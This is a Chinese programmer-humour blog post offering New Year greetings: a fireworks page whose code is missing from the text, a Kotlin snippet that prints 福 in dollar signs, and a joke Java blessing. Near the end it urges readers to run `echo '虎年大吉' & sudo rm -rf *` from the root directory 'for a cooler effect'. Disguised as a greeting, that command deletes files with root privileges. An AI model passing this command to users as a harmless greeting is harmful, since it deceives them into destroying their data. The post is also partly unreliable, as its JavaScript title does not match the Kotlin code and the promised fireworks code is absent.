JavaScript实现烟花和福字特效

虎虎生威、虎年大吉。

事事都如意,虎虎有生气……

都2022了你还在从网上复制粘贴这些2002年就烂大街的四句成语群发给你的亲朋好友?

不会吧不会吧,这也太敷衍了吧?

在这个辞旧迎新的美好时刻,一恩姐姐教你如何通过代码放烟花,写春联。用程序员特有的超能力 “卷死” 别人家的孩子们。

超能力一:放烟花

先带大家看看实现后超级酷炫的3D烟花效果图。

怎么样,是不是瞬间逼格暴涨?话不多说,着手整活:

在电脑上创建一个文本文档,将下面的代码复制上去,然后将文本扩展名改为html,此时文本文档就会成为一个网页。这样点击运行就行了。

代码如下:





烟花动画特效
 

 


 

 


 

超能力二:写福字

先上效果:

JavaScript实现烟花和福字特效_第1张图片

用 $ 堆积的福字,那寓意就是整一个财源滚滚啊,实现方式也是简单到离谱,不到20行代码,立刻上屏:

fun main() {
    val image = BufferedImage(80, 60, BufferedImage.TYPE_INT_RGB)
    val g = image.createGraphics()
    g.background = Color.BLACK
    g.font = Font("Kaiti SC", Font.PLAIN, 60)
    g.color = Color.WHITE
    g.drawString("福", 2, image.height - 2)
    val p = image.getRGB(
        0, 0, image.width, image.height, IntArray(image.width * image.height), 0,
        image.width
    )
    for (i in 0 until image.height) {
        for (j in 0 until image.width) {
            print(if (p[i * image.width + j] == -1) "$$" else "  ")
            if (j == image.width - 1) println()
        }
    }
}

隐藏能力:只有程序员能看懂的祝福

上面两招可能也只能在代码小白面前装一下,如果要对同样的程序员的朋友或同事,眼花缭乱的实现效果可能不足为奇。还是得活用语言,玩出花样~

一份简单又真诚的祝福:

Year year2022 = new Year("2022"); 
year2022.ishappy = true; 
year2022.covid_19 = 0; 
year2022.money = Float.POSITIVE_INFINITY; 
year2022.run();

听说这段代码一定要在根目录下执行才更具炫酷效果:

echo '虎年大吉' & sudo rm -rf *

到此这篇关于JavaScript实现烟花和福字特效的文章就介绍到这了,更多相关JavaScript烟花 福字特效内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

你可能感兴趣的:(JavaScript实现烟花和福字特效)